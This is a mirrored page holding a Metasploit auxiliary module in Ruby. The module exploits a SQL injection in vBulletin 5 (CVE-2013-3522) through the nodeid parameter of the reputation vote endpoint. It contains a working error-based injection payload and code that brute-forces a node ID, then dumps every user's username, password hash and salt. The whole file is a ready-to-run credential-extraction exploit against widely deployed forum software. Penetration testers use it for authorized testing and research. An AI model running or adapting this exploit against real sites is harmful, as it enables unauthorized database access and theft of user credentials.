Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

vbulletin_vote_sqli.rb 6.1KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Auxiliary
  7. include Msf::Auxiliary::Report
  8. include Msf::Exploit::Remote::HttpClient
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'vBulletin Password Collector via nodeid SQL Injection',
  12. 'Description' => %q{
  13. This module exploits a SQL injection vulnerability found in vBulletin 5 that has been
  14. used in the wild since March 2013. This module can be used to extract the web application's
  15. usernames and hashes, which could be used to authenticate into the vBulletin admin control
  16. panel.
  17. },
  18. 'References' =>
  19. [
  20. [ 'CVE', '2013-3522' ],
  21. [ 'OSVDB', '92031' ],
  22. [ 'EDB', '24882' ],
  23. [ 'BID', '58754' ],
  24. [ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
  25. ],
  26. 'Author' =>
  27. [
  28. 'Orestis Kourides', # Vulnerability discovery and PoC
  29. 'sinn3r', # Metasploit module
  30. 'juan vazquez' # Metasploit module
  31. ],
  32. 'License' => MSF_LICENSE,
  33. 'DisclosureDate' => "Mar 24 2013"
  34. ))
  35. register_options(
  36. [
  37. OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
  38. OptInt.new("NODE", [false, 'Valid Node ID']),
  39. OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
  40. OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
  41. ], self.class)
  42. end
  43. def exists_node?(id)
  44. mark = Rex::Text.rand_text_alpha(8 + rand(5))
  45. result = do_sqli(id, "select '#{mark}'")
  46. if result and result =~ /#{mark}/
  47. return true
  48. end
  49. return false
  50. end
  51. def brute_force_node
  52. min = datastore["MINNODE"]
  53. max = datastore["MAXNODE"]
  54. if min > max
  55. print_error("MINNODE can't be major than MAXNODE")
  56. return nil
  57. end
  58. for node_id in min..max
  59. if exists_node?(node_id)
  60. return node_id
  61. end
  62. end
  63. return nil
  64. end
  65. def get_node
  66. if datastore['NODE'].nil? or datastore['NODE'] <= 0
  67. print_status("Brute forcing to find a valid node id...")
  68. return brute_force_node
  69. end
  70. print_status("Checking node id #{datastore['NODE']}...")
  71. if exists_node?(datastore['NODE'])
  72. return datastore['NODE']
  73. else
  74. return nil
  75. end
  76. end
  77. # session maybe isn't needed, unauthenticated
  78. def do_sqli(node, query)
  79. mark = Rex::Text.rand_text_alpha(5 + rand(3))
  80. random_and = Rex::Text.rand_text_numeric(4)
  81. injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
  82. injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
  83. injection << "AND (#{random_and}=#{random_and}"
  84. res = send_request_cgi({
  85. 'method' => 'POST',
  86. 'uri' => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
  87. 'vars_post' =>
  88. {
  89. 'nodeid' => "#{node}#{injection}",
  90. }
  91. })
  92. unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
  93. return nil
  94. end
  95. data = ""
  96. if res.body.to_s =~ /#{mark}(.*)#{mark}/
  97. data = $1
  98. end
  99. return data
  100. end
  101. def get_user_data(node_id, user_id)
  102. user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
  103. pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
  104. salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")
  105. return [user, pass, salt]
  106. end
  107. def check
  108. res = send_request_cgi({
  109. 'uri' => normalize_uri(target_uri.path, "index.php")
  110. })
  111. if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
  112. if get_node
  113. # Multiple factors determine this LOOKS vulnerable
  114. return Msf::Exploit::CheckCode::Appears
  115. else
  116. # Not enough information about the vuln state, but at least we know this is vbulletin
  117. return Msf::Exploit::CheckCode::Detected
  118. end
  119. end
  120. Msf::Exploit::CheckCode::Safe
  121. end
  122. def report_cred(opts)
  123. service_data = {
  124. address: opts[:ip],
  125. port: opts[:port],
  126. service_name: opts[:service_name],
  127. protocol: 'tcp',
  128. workspace_id: myworkspace_id
  129. }
  130. credential_data = {
  131. origin_type: :service,
  132. module_fullname: fullname,
  133. username: opts[:user],
  134. private_data: opts[:password],
  135. private_type: :nonreplayable_hash,
  136. jtr_format: 'md5'
  137. }.merge(service_data)
  138. login_data = {
  139. core: create_credential(credential_data),
  140. status: Metasploit::Model::Login::Status::UNTRIED,
  141. proof: opts[:proof]
  142. }.merge(service_data)
  143. create_credential_login(login_data)
  144. end
  145. def run
  146. print_status("Checking for a valid node id...")
  147. node_id = get_node
  148. if node_id.nil?
  149. print_error("node id not found")
  150. return
  151. end
  152. print_good("Using node id #{node_id} to exploit sqli... Counting users...")
  153. data = do_sqli(node_id, "select count(*) from user")
  154. if data.blank?
  155. print_error("Error exploiting sqli")
  156. return
  157. end
  158. count_users = data.to_i
  159. print_good("#{count_users} users found. Collecting credentials...")
  160. users_table = Rex::Text::Table.new(
  161. 'Header' => 'vBulletin Users',
  162. 'Indent' => 1,
  163. 'Columns' => ['Username', 'Password Hash', 'Salt']
  164. )
  165. for i in 0..count_users
  166. user = get_user_data(node_id, i)
  167. unless user.join.empty?
  168. report_cred(
  169. ip: rhost,
  170. port: rport,
  171. user: user[0],
  172. password: user[1],
  173. service_name: (ssl ? "https" : "http"),
  174. proof: "salt: #{user[2]}"
  175. )
  176. users_table << user
  177. end
  178. end
  179. if users_table.rows.length > 0
  180. print_good("#{users_table.rows.length.to_s} credentials successfully collected")
  181. print_line(users_table.to_s)
  182. else
  183. print_error("Unfortunately the module was unable to extract any credentials")
  184. end
  185. end
  186. end